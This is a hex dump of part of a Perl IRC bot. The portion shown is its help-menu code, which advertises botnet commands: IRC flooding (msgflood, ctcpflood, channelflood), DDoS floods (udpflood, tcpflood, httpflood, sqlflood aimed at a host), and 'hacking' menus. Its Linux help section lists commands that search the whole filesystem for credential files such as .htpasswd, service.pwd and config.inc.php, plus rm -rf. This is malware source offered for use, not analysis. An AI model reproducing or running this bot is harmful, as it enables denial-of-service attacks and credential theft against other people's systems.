10304:	62	6F	74	20	03	31	34	40	03	33	6F	70	20	3C	77	68	6F	3E	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	bot 14@3op <who> ");
10336:	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	sendraw($IRC_cur_socket, "PR
10368:	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	64	65	6F	70	IVMSG $printl :7!bot 14@3deop
10400:	20	3C	77	68	6F	3E	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	<who> "); sendraw(
10432:	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	$IRC_cur_socket, "PRIVMSG $print
10464:	6C	20	3A	03	34	2C	31	5B	02	03	31	34	40	03	31	33	2D	2D	2D	2D	2D	5B	46	6C	6F	6F	64	69	6E	67	20	42	l :4,1[14@13-----[Flooding B
10496:	61	73	65	64	5D	2D	2D	2D	2D	2D	03	31	34	40	03	34	02	5D	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	ased]-----14@4] ");
10528:	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	sendraw($IRC_cur_socket, "PR
10560:	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	6D	73	67	66	IVMSG $printl :7!bot 14@3msgf
10592:	6C	6F	6F	64	20	3C	77	68	6F	3E	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	lood <who> "); send
10624:	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	raw($IRC_cur_socket, "PRIVMSG $p
10656:	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	64	63	63	66	6C	6F	6F	64	20	3C	77	68	rintl :7!bot 14@3dccflood <wh
10688:	6F	3E	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	o> "); sendraw($IRC
10720:	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	_cur_socket, "PRIVMSG $printl :
10752:	37	21	62	6F	74	20	03	31	34	40	03	33	63	74	63	70	66	6C	6F	6F	64	20	3C	77	68	6F	3E	20	22	29	3B	0D	7!bot 14@3ctcpflood <who> ");
10784:	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	sendraw($IRC_cur_so
10816:	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	cket, "PRIVMSG $printl :7!bot
10848:	31	34	40	03	33	6E	6F	74	69	63	65	66	6C	6F	6F	64	20	3C	77	68	6F	3E	20	22	29	3B	0D	0A	20	20	20	20	14@3noticeflood <who> ");
10880:	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	sendraw($IRC_cur_socket,
10912:	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	"PRIVMSG $printl :7!bot 14@3
10944:	63	68	61	6E	6E	65	6C	66	6C	6F	6F	64	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	channelflood"); sen
10976:	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	draw($IRC_cur_socket, "PRIVMSG $
11008:	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	6D	61	78	69	66	6C	6F	6F	64	20	3C	printl :7!bot 14@3maxiflood <
11040:	77	68	6F	3E	20	22	29	3B	0D	0A	7D	0D	0A	0D	0A	20	20	20	20	20	20	20	20	20	69	66	20	28	24	66	75	6E	who> "); } if ($fun
11072:	63	61	72	67	20	3D	7E	20	2F	5E	6C	69	6E	75	78	68	65	6C	70	2F	29	20	7B	0D	0A	20	20	20	20	20	20	20	carg =~ /^linuxhelp/) {
11104:	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	sendraw($IRC_cur_socket, "P
11136:	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	2C	31	5B	02	03	31	34	40	03	31	33	2D	2D	2D	RIVMSG $printl :4,1[14@13---
11168:	2D	2D	5B	4C	69	6E	75	78	20	48	65	6C	70	5D	2D	2D	2D	2D	2D	03	31	34	40	03	34	02	5D	20	22	29	3B	0D	--[Linux Help]-----14@4] ");
11200:	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	sendraw($IRC_cur_so
11232:	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	cket, "PRIVMSG $printl :7!bot
11264:	31	34	40	20	03	33	44	69	72	20	77	68	65	72	65	20	79	6F	75	20	61	72	65	20	3A	20	70	77	64	22	29	3B	14@ 3Dir where you are : pwd");
11296:	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	sendraw($IRC_cur_s
11328:	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	ocket, "PRIVMSG $printl :7!bot
11360:	03	31	34	40	20	03	33	53	74	61	72	74	20	61	20	50	65	72	6C	20	66	69	6C	65	20	3A	20	70	65	72	6C	20	14@ 3Start a Perl file : perl
11392:	66	69	6C	65	2E	70	6C	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	file.pl"); sendraw(
11424:	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	$IRC_cur_socket, "PRIVMSG $print
11456:	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	20	03	33	47	6F	20	62	61	63	6B	20	66	72	6F	6D	20	64	69	l :7!bot 14@ 3Go back from di
11488:	72	20	3A	20	63	64	20	2E	2E	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	r : cd .."); sendra
11520:	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	w($IRC_cur_socket, "PRIVMSG $pri
11552:	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	20	03	33	46	6F	72	63	65	20	74	6F	20	52	65	6D	6F	ntl :7!bot 14@ 3Force to Remo
11584:	76	65	20	61	20	66	69	6C	65	2F	64	69	72	20	3A	20	72	6D	20	2D	72	66	20	66	69	6C	65	2F	64	69	72	3B	ve a file/dir : rm -rf file/dir;
11616:	6C	73	20	2D	6C	61	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	ls -la"); sendraw($
11648:	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	IRC_cur_socket, "PRIVMSG $printl
11680:	20	3A	03	37	21	62	6F	74	20	03	31	34	40	20	03	33	53	68	6F	77	20	61	6C	6C	20	66	69	6C	65	73	2F	64	:7!bot 14@ 3Show all files/d
11712:	69	72	20	77	69	74	68	20	70	65	72	6D	69	73	73	69	6F	6E	73	20	3A	20	6C	73	20	2D	6C	69	61	22	29	3B	ir with permissions : ls -lia");
11744:	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	sendraw($IRC_cur_s
11776:	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	ocket, "PRIVMSG $printl :7!bot
11808:	03	31	34	40	20	03	33	46	69	6E	64	20	63	6F	6E	66	69	67	2E	69	6E	63	2E	70	68	70	20	66	69	6C	65	73	14@ 3Find config.inc.php files
11840:	20	3A	20	66	69	6E	64	20	2F	20	2D	74	79	70	65	20	66	20	2D	6E	61	6D	65	20	63	6F	6E	66	69	67	2E	69	: find / -type f -name config.i
11872:	6E	63	2E	70	68	70	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	nc.php"); sendraw($
11904:	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	IRC_cur_socket, "PRIVMSG $printl
11936:	20	3A	03	37	21	62	6F	74	20	03	31	34	40	20	03	33	46	69	6E	64	20	61	6C	6C	20	77	72	69	74	61	62	6C	:7!bot 14@ 3Find all writabl
11968:	65	20	66	6F	6C	64	65	72	73	20	61	6E	64	20	66	69	6C	65	73	20	3A	20	66	69	6E	64	20	2F	20	2D	70	65	e folders and files : find / -pe
12000:	72	6D	20	2D	32	20	2D	6C	73	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	rm -2 -ls"); sendra
12032:	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	w($IRC_cur_socket, "PRIVMSG $pri
12064:	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	20	03	33	46	69	6E	64	20	61	6C	6C	20	2E	68	74	70	ntl :7!bot 14@ 3Find all .htp
12096:	61	73	73	77	64	20	66	69	6C	65	73	20	3A	20	66	69	6E	64	20	2F	20	2D	74	79	70	65	20	66	20	2D	6E	61	asswd files : find / -type f -na
12128:	6D	65	20	2E	68	74	70	61	73	73	77	64	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	me .htpasswd"); sen
12160:	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	draw($IRC_cur_socket, "PRIVMSG $
12192:	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	20	03	33	46	69	6E	64	20	61	6C	6C	20	73	printl :7!bot 14@ 3Find all s
12224:	65	72	76	69	63	65	2E	70	77	64	20	66	69	6C	65	73	20	3A	20	66	69	6E	64	20	2F	20	2D	74	79	70	65	20	ervice.pwd files : find / -type
12256:	66	20	2D	6E	61	6D	65	20	73	65	72	76	69	63	65	2E	70	77	64	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	f -name service.pwd");
12288:	20	7D	0D	0A	20	20	20	20	20	20	20	20	20	0D	0A	20	20	20	20	20	20	20	20	20	69	66	20	28	24	66	75	6E	} if ($fun
12320:	63	61	72	67	20	3D	7E	20	2F	5E	68	65	6C	70	2F	29	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	carg =~ /^help/) {
12352:	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	sendraw($IRC_cur_socket, "PRIVM
12384:	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	2C	31	5B	02	03	31	34	40	03	31	33	2D	2D	2D	2D	2D	5B	48	SG $printl :4,1[14@13-----[H
12416:	65	6C	70	20	43	6F	6D	6D	61	6E	64	73	5D	2D	2D	2D	2D	2D	03	31	34	40	03	34	02	5D	20	22	29	3B	0D	0A	elp Commands]-----14@4] ");
12448:	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	sendraw($IRC_cur_soc
12480:	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	ket, "PRIVMSG $printl :7!bot 1
12512:	34	40	03	33	66	6C	6F	6F	64	69	6E	67	20	2D	20	46	6F	72	20	49	52	43	20	46	6C	6F	6F	64	69	6E	67	20	4@3flooding - For IRC Flooding
12544:	48	65	6C	70	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	Help"); sendraw($IR
12576:	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	C_cur_socket, "PRIVMSG $printl :
12608:	03	37	21	62	6F	74	20	03	31	34	40	03	33	69	72	63	20	2D	20	46	6F	72	20	49	52	43	20	42	6F	74	20	43	7!bot 14@3irc - For IRC Bot C
12640:	6F	6D	6D	61	6E	64	20	48	65	6C	70	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	ommand Help "); sen
12672:	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	draw($IRC_cur_socket, "PRIVMSG $
12704:	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	64	64	6F	73	20	2D	20	46	6F	72	20	printl :7!bot 14@3ddos - For
12736:	44	44	6F	73	20	43	6F	6D	6D	61	6E	64	20	48	65	6C	70	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	DDos Command Help");
12768:	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	sendraw($IRC_cur_socket, "PRIV
12800:	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	6E	65	77	73	20	2D	MSG $printl :7!bot 14@3news -
12832:	20	46	6F	72	20	53	65	63	75	72	69	74	79	20	4E	65	77	73	20	43	6F	6D	6D	61	6E	64	20	48	65	6C	70	20	For Security News Command Help
12864:	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	"); sendraw($IRC_cu
12896:	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	r_socket, "PRIVMSG $printl :7!b
12928:	6F	74	20	03	31	34	40	03	33	68	61	63	6B	69	6E	67	20	2D	20	46	6F	72	20	48	61	63	6B	69	6E	67	20	43	ot 14@3hacking - For Hacking C
12960:	6F	6D	6D	61	6E	64	20	48	65	6C	70	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	ommand Help"); send
12992:	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	raw($IRC_cur_socket, "PRIVMSG $p
13024:	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	6C	69	6E	75	78	68	65	6C	70	20	2D	20	rintl :7!bot 14@3linuxhelp -
13056:	46	6F	72	20	4C	69	6E	75	78	20	48	65	6C	70	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	7D	0D	0A	0D	For Linux Help"); }
13088:	0A	20	20	20	20	20	20	20	20	20	69	66	20	28	24	66	75	6E	63	61	72	67	20	3D	7E	20	2F	5E	66	6C	6F	6F	if ($funcarg =~ /^floo
13120:	64	69	6E	67	2F	29	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	ding/) { sendraw($I
13152:	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	RC_cur_socket, "PRIVMSG $printl
13184:	3A	03	34	2C	31	5B	02	03	31	34	40	03	31	33	2D	2D	2D	2D	2D	5B	46	6C	6F	6F	64	69	6E	67	20	42	61	73	:4,1[14@13-----[Flooding Bas
13216:	65	64	5D	2D	2D	2D	2D	2D	03	31	34	40	03	34	02	5D	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	ed]-----14@4] ");
13248:	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	sendraw($IRC_cur_socket, "PRIV
13280:	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	6D	73	67	66	6C	6F	MSG $printl :7!bot 14@3msgflo
13312:	6F	64	20	3C	77	68	6F	3E	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	od <who> "); sendra
13344:	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	w($IRC_cur_socket, "PRIVMSG $pri
13376:	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	64	63	63	66	6C	6F	6F	64	20	3C	77	68	6F	3E	ntl :7!bot 14@3dccflood <who>
13408:	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	"); sendraw($IRC_c
13440:	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	ur_socket, "PRIVMSG $printl :7!
13472:	62	6F	74	20	03	31	34	40	03	33	63	74	63	70	66	6C	6F	6F	64	20	3C	77	68	6F	3E	20	22	29	3B	0D	0A	20	bot 14@3ctcpflood <who> ");
13504:	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	sendraw($IRC_cur_sock
13536:	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	et, "PRIVMSG $printl :7!bot 14
13568:	40	03	33	6E	6F	74	69	63	65	66	6C	6F	6F	64	20	3C	77	68	6F	3E	20	22	29	3B	0D	0A	20	20	20	20	20	20	@3noticeflood <who> ");
13600:	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	sendraw($IRC_cur_socket, "
13632:	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	63	68	PRIVMSG $printl :7!bot 14@3ch
13664:	61	6E	6E	65	6C	66	6C	6F	6F	64	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	annelflood"); sendr
13696:	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	aw($IRC_cur_socket, "PRIVMSG $pr
13728:	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	6D	61	78	69	66	6C	6F	6F	64	20	3C	77	68	intl :7!bot 14@3maxiflood <wh
13760:	6F	3E	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	20	20	20	20	20	0D	0A	20	o> "); }
13792:	20	20	20	20	20	20	20	20	69	66	20	28	24	66	75	6E	63	61	72	67	20	3D	7E	20	2F	5E	69	72	63	2F	29	20	if ($funcarg =~ /^irc/)
13824:	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	{ sendraw($IRC_cur_
13856:	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	31	32	2C	31	5B	socket, "PRIVMSG $printl :12,1[
13888:	02	03	31	34	40	03	31	33	2D	2D	2D	2D	2D	5B	49	52	43	20	43	6F	6D	6D	61	6E	64	73	5D	2D	2D	2D	2D	2D	14@13-----[IRC Commands]-----
13920:	03	31	34	40	03	31	32	02	5D	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	14@12] "); sendr
13952:	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	aw($IRC_cur_socket, "PRIVMSG $pr
13984:	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	76	6F	69	63	65	20	3C	77	68	6F	3E	20	22	intl :7!bot 14@3voice <who> "
14016:	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	); sendraw($IRC_cur
14048:	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	_socket, "PRIVMSG $printl :7!bo
14080:	74	20	03	31	34	40	03	33	6F	77	6E	65	72	20	3C	77	68	6F	3E	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	t 14@3owner <who> ");
14112:	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	sendraw($IRC_cur_socket, "P
14144:	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	64	65	6F	RIVMSG $printl :7!bot 14@3deo
14176:	77	6E	65	72	20	3C	77	68	6F	3E	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	wner <who> "); send
14208:	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	raw($IRC_cur_socket, "PRIVMSG $p
14240:	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	64	65	76	6F	69	63	65	20	3C	77	68	6F	rintl :7!bot 14@3devoice <who
14272:	3E	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	> "); sendraw($IRC_
14304:	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	cur_socket, "PRIVMSG $printl :7
14336:	21	62	6F	74	20	03	31	34	40	03	33	68	61	6C	66	6F	70	20	3C	77	68	6F	3E	20	22	29	3B	0D	0A	20	20	20	!bot 14@3halfop <who> ");
14368:	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	sendraw($IRC_cur_socket
14400:	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	, "PRIVMSG $printl :7!bot 14@
14432:	33	64	65	68	61	6C	66	6F	70	20	3C	77	68	6F	3E	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	3dehalfop <who> ");
14464:	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	sendraw($IRC_cur_socket, "PRIVM
14496:	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	6F	70	20	3C	77	68	6F	SG $printl :7!bot 14@3op <who
14528:	3E	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	> "); sendraw($IRC_
14560:	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	cur_socket, "PRIVMSG $printl :7
14592:	21	62	6F	74	20	03	31	34	40	03	33	64	65	6F	70	20	3C	77	68	6F	3E	20	22	29	3B	0D	0A	20	20	20	20	20	!bot 14@3deop <who> ");
14624:	20	20	20	20	7D	20	20	20	0D	0A	20	20	20	20	20	20	20	20	20	0D	0A	20	20	20	20	20	20	20	20	20	69	66	} if
14656:	20	28	24	66	75	6E	63	61	72	67	20	3D	7E	20	2F	5E	64	64	6F	73	2F	29	20	7B	0D	0A	20	20	20	20	20	20	($funcarg =~ /^ddos/) {
14688:	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	sendraw($IRC_cur_socket, "
14720:	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	31	32	2C	31	5B	02	03	31	34	40	03	31	33	2D	PRIVMSG $printl :12,1[14@13-
14752:	2D	2D	2D	2D	5B	44	64	6F	73	20	43	6F	6D	6D	61	6E	64	73	5D	2D	2D	2D	2D	2D	03	31	34	40	03	31	32	02	----[Ddos Commands]-----14@12
14784:	5D	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	] "); sendraw($IRC_
14816:	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	cur_socket, "PRIVMSG $printl :7
14848:	21	62	6F	74	20	03	31	34	40	03	33	75	64	70	66	6C	6F	6F	64	20	3C	68	6F	73	74	3E	20	3C	70	61	63	6B	!bot 14@3udpflood <host> <pack
14880:	65	74	20	73	69	7A	65	3E	20	3C	74	69	6D	65	3E	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	et size> <time>");
14912:	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	sendraw($IRC_cur_socket, "PRIVMS
14944:	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	74	63	70	66	6C	6F	6F	64	G $printl :7!bot 14@3tcpflood
14976:	20	3C	68	6F	73	74	3E	20	3C	70	6F	72	74	3E	20	3C	70	61	63	6B	65	74	20	73	69	7A	65	3E	20	3C	74	69	<host> <port> <packet size> <ti
15008:	6D	65	3E	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	me>"); sendraw($IRC
15040:	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	_cur_socket, "PRIVMSG $printl :
15072:	37	21	62	6F	74	20	03	31	34	40	03	33	68	74	74	70	66	6C	6F	6F	64	20	3C	68	6F	73	74	3E	20	3C	74	69	7!bot 14@3httpflood <host> <ti
15104:	6D	65	3E	22	29	3B	20	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	me>"); sendraw($IR
15136:	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	C_cur_socket, "PRIVMSG $printl :
15168:	03	37	21	62	6F	74	20	03	31	34	40	03	33	73	71	6C	66	6C	6F	6F	64	20	3C	68	6F	73	74	3E	20	3C	74	69	7!bot 14@3sqlflood <host> <ti
15200:	6D	65	3E	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	7D	20	20	20	0D	0A	0D	0A	20	20	20	20	20	20	20	me>"); }
15232:	20	20	69	66	20	28	24	66	75	6E	63	61	72	67	20	3D	7E	20	2F	5E	6E	65	77	73	2F	29	20	7B	0D	0A	20	20	if ($funcarg =~ /^news/) {
15264:	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	sendraw($IRC_cur_socke
15296:	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	31	32	2C	31	5B	02	03	31	34	40	t, "PRIVMSG $printl :12,1[14@
15328:	03	31	33	2D	2D	2D	2D	2D	5B	4E	65	77	73	20	43	6F	6D	6D	61	6E	64	73	5D	2D	2D	2D	2D	2D	03	31	34	40	13-----[News Commands]-----14@
15360:	03	31	32	02	5D	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	12] "); sendraw($
15392:	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	IRC_cur_socket, "PRIVMSG $printl
15424:	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	70	61	63	6B	65	74	73	74	6F	72	6D	22	29	3B	0D	0A	20	:7!bot 14@3packetstorm");
15456:	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	sendraw($IRC_cur_sock
